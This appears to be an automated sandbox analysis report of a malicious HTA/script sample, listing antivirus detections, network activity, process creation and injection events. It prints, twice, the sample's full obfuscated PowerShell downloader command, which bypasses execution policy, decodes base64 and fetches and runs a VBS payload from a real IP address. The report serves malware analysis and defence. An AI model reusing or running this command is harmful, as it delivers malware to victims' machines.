File has been identified by 19 AntiVirus engines on VirusTotal as malicious (19 events)

CTX	txt.unknown.asthma
ALYac	VBS.Heur.Asthma.2.48D3442A.Gen
VIPRE	VBS.Heur.Asthma.2.48D3442A.Gen
Arcabit	VBS.Heur.Asthma.2.48D3442A.Gen
Baidu	JS.Trojan.Kryptik.to
Symantec	ISB.Downloader!gen80
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	VBS.Heur.Asthma.2.48D3442A.Gen
NANO-Antivirus	Trojan.Script.Heuristic-js.iacgm
MicroWorld-eScan	VBS.Heur.Asthma.2.48D3442A.Gen
Rising	Trojan.Runner/VBS!1.1025D (CLASSIC)
Emsisoft	VBS.Heur.Asthma.2.48D3442A.Gen (B)
Ikarus	Trojan-Downloader.PowerShell.Agent
FireEye	VBS.Heur.Asthma.2.48D3442A.Gen
Google	Detected
GData	VBS.Heur.Asthma.2.48D3442A.Gen
Varist	JS/Agent.CMC.gen!Eldorado
Zoner	Probably Heur.HTMLUnescape
huorong	HEUR:TrojanDownloader/HTML.Agent.d

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
send Oct. 16, 2024, 5:36 p.m.	buffer: ! socket: 1236 sent: 1	1	1	0
URLDownloadToFileW Oct. 16, 2024, 5:36 p.m.	url: http://185.29.11.111/455/nicepciturewithgreatpersonentiretime.tIF stack_pivoted: 0 filepath_r: C:\Users\test22\AppData\Roaming\nicepciturewithgreatpersonentiretime.vbs filepath: C:\Users\test22\AppData\Roaming\nicepciturewithgreatpersonentiretime.vbs		-2146697211	0

One or more non-whitelisted processes were created (4 events)

parent_process	iexplore.exe	martian_process	C:\Windows\System32\cmd.exe "/c poWERSHElL.eXe -ex bYPASs -nop -w 1 -C devIcEcredENtialdEPLoymeNT.EXe ; iEx($(iEX('[SysTem.TEXT.encOdING]'+[cHaR]58+[char]0x3A+'utf8.GetsTring([sYSTeM.CONvErt]'+[cHar]0X3A+[ChAR]58+'froMBaSE64STRiNg('+[Char]34+'JDdwV281R0xJNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRW1CRVJERUZJbklUSW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG1aTlB0QUhibSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1VWix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMZkhULEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXNaVHApOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYU5oIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN3BXbzVHTEk3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTg1LjI5LjExLjExMS80NTUvbmljZXBjaXR1cmV3aXRoZ3JlYXRwZXJzb25lbnRpcmV0aW1lLnRJRiIsIiRlTlY6QVBQREFUQVxuaWNlcGNpdHVyZXdpdGhncmVhdHBlcnNvbmVudGlyZXRpbWUudmJzIiwwLDApO1N0QVJ0LVNMZWVQKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5pY2VwY2l0dXJld2l0aGdyZWF0cGVyc29uZW50aXJldGltZS52YnMi'+[cHar]0X22+'))')))"
parent_process	iexplore.exe	martian_process	"C:\Windows\system32\cmd.exe" "/c poWERSHElL.eXe -ex bYPASs -nop -w 1 -C devIcEcredENtialdEPLoymeNT.EXe ; iEx($(iEX('[SysTem.TEXT.encOdING]'+[cHaR]58+[char]0x3A+'utf8.GetsTring([sYSTeM.CONvErt]'+[cHar]0X3A+[ChAR]58+'froMBaSE64STRiNg('+[Char]34+'JDdwV281R0xJNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRW1CRVJERUZJbklUSW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG1aTlB0QUhibSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1VWix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMZkhULEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXNaVHApOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYU5oIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN3BXbzVHTEk3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTg1LjI5LjExLjExMS80NTUvbmljZXBjaXR1cmV3aXRoZ3JlYXRwZXJzb25lbnRpcmV0aW1lLnRJRiIsIiRlTlY6QVBQREFUQVxuaWNlcGNpdHVyZXdpdGhncmVhdHBlcnNvbmVudGlyZXRpbWUudmJzIiwwLDApO1N0QVJ0LVNMZWVQKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5pY2VwY2l0dXJld2l0aGdyZWF0cGVyc29uZW50aXJldGltZS52YnMi'+[cHar]0X22+'))')))"
parent_process	powershell.exe	martian_process	"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\0lmkrb0q.cmdline"
parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Roaming\nicepciturewithgreatpersonentiretime.vbs

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1884 resumed a thread in remote process 2252
NtResumeThread Oct. 16, 2024, 5:34 p.m.	thread_handle: 0x0000000000000364 suspend_count: 1 process_identifier: 2252	1	0	0

Creates a suspicious Powershell process (6 events)

option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Generates some ICMP traffic

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

185.29.11.111:80

seethebestthingswithmegreatdays.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All